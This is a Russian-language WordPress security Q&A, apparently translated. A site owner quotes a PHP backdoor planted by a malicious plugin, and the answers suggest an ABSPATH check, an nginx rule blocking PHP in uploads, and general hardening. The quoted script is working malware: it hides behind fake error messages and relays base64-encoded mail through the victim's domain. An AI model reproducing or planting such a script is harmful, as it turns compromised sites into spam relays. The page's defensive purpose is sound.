Вопрос или проблема
Я хочу добавить функцию безопасности на свой сайт WordPress, чтобы остановить прямой доступ к файлам, добавленным в корень установки WordPress. Недавно я обнаружил, что вредоносный плагин добавил несколько файлов для отправки электронной почты. Ниже приведен вредоносный php
код.
<?php
$method = $_SERVER['REQUEST_METHOD'];
switch ($method) {
case 'GET':
//Здесь обрабатывается GET-запрос
echo '###ERROR 404';
exit;
break;
case 'POST':
//Здесь обрабатывается POST-запрос
foreach($_POST as $key => $x_value) {
$data = base64_decode($x_value) ;
$to_data = explode('|', $data);
$to = $to_data[0];
$x_subject = $to_data[1];
$x_body = $to_data[2];
$from_user = $to_data[3];
$from_email = $to_data[4];
$header = $to_data[5];
$jfnbrsjfq = mail($to, $x_subject, $x_body, $header);
if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;}
}
}
В этом случае хакер будет передавать некоторые параметры для отправки электронной почты, используя мой домен, при помощи этого кода.
Я думал, может быть, есть способ отключить прямой доступ к этим файлам для отправки электронной почты или любой другой вредоносной активности. Есть ли способ ограничить использование nginx? Какой лучший подход в этой ситуации? Я буду благодарен за любые полезные советы.
Посмотрите возможность добавления постоянной проверки в верхней части скрипта:
if ( ! defined( 'ABSPATH' ) ) {
exit; // Завершить, если доступ происходит напрямую
}
Смотрите: https://stackoverflow.com/questions/43212340/what-is-meant-by-if-defined-abspath
Ответ или решение
Как отключить прямой доступ к файлам в каталоге установки WordPress
Введение
Одной из важнейших задач при управлении сайтом на WordPress является обеспечение безопасности. Недавняя угроза, связанная с установкой вредоносных плагинов, может привести к добавлению файлов, которые могут быть использованы для несанкционированного доступа или совершения вредоносных действий, таких как отправка электронных писем от имени вашего домена. Рассмотрим, как можно предотвратить прямой доступ к таким файлам через настройку сервера и изменения в коде.
Обнаружение проблемы
Пример приведенного вами PHP-кода подразумевает, что зловредный код использует метод POST для выполнения своих функций. Логика кода включает декодирование и отправку данных на указанный адрес электронной почты. Это говорит о том, что важно ограничить прямой доступ к файлам, которые могут выполнять такие действия.
Защита через серверную конфигурацию Nginx
Чтобы предотвратить прямой доступ к определенным файлам, вы можете использовать настройки вашего веб-сервера Nginx. Вот несколько подходов:
-
Запретить доступ к PHP-файлам в определенных директориях: Вы можете создать блок, который будет запрещать доступ к файлам с определенными расширениями (например,
.php
) в каталогеwp-content
и других директориях, где могут быть размещены вредоносные файлы.Вот пример конфигурации для вашего файла nginx:
location ~* /wp-content/uploads/.*\.php$ { deny all; }
Это правило отказывает всем попыткам доступа к PHP-файлам в каталоге uploads.
-
Добавить обработку ошибок: Убедитесь, что при возникновении ошибки (например, при попытке доступа к несуществующему файлу) сервер возвращает 404, что затруднит злоумышленникам понимание структуры вашего сайта.
Защита на уровне кода
Кроме настройки веб-сервера, вы также можете внести изменения в сам PHP-код, чтобы улучшить безопасность вашего WordPress-сайта:
-
Проверка доступа по константе: Добавьте проверку в верхней части ваших PHP-файлов, чтобы убедиться, что скрипт вызывается из корректного контекста.
if ( ! defined( 'ABSPATH' ) ) { exit; // Выйти, если доступ осуществляется напрямую }
Это предотвратит прямой доступ к вашим скриптам, если они вызываются извне.
-
Удаление или карантин для подозрительных файлов: Если вы обнаружили недобросовестные файлы или плагины, удалите их немедленно и проверьте остальную часть сайта на наличие других уязвимостей.
Рекомендации по безопасности
Для дальнейшего укрепления безопасности вашего WordPress-сайта, рекомендуется:
-
Регулярно обновлять WordPress и плагины: Убедитесь, что вы используете актуальные версии всех компонентов, чтобы минимизировать уязвимости.
-
Использовать плагины безопасности: Плагины, такие как Wordfence или Sucuri, могут предоставить дополнительные уровни защиты, включая мониторинг файлов и ограничение доступа.
-
Создание регулярных резервных копий: Это позволит вам быстро восстановить сайт в случае его компрометации.
Заключение
Обеспечение безопасности вашего WordPress-сайта требует комплексного подхода, включающего защиту на уровне сервера и кода. Приняв меры по ограничению доступа к файловой системе и корректируя код скриптов, вы значительно уменьшите риск несанкционированного доступа и эксплуатации уязвимостей. Не забывайте о регулярных обновлениях и мониторинге состояния вашего сайта, чтобы сохранить его в безопасности.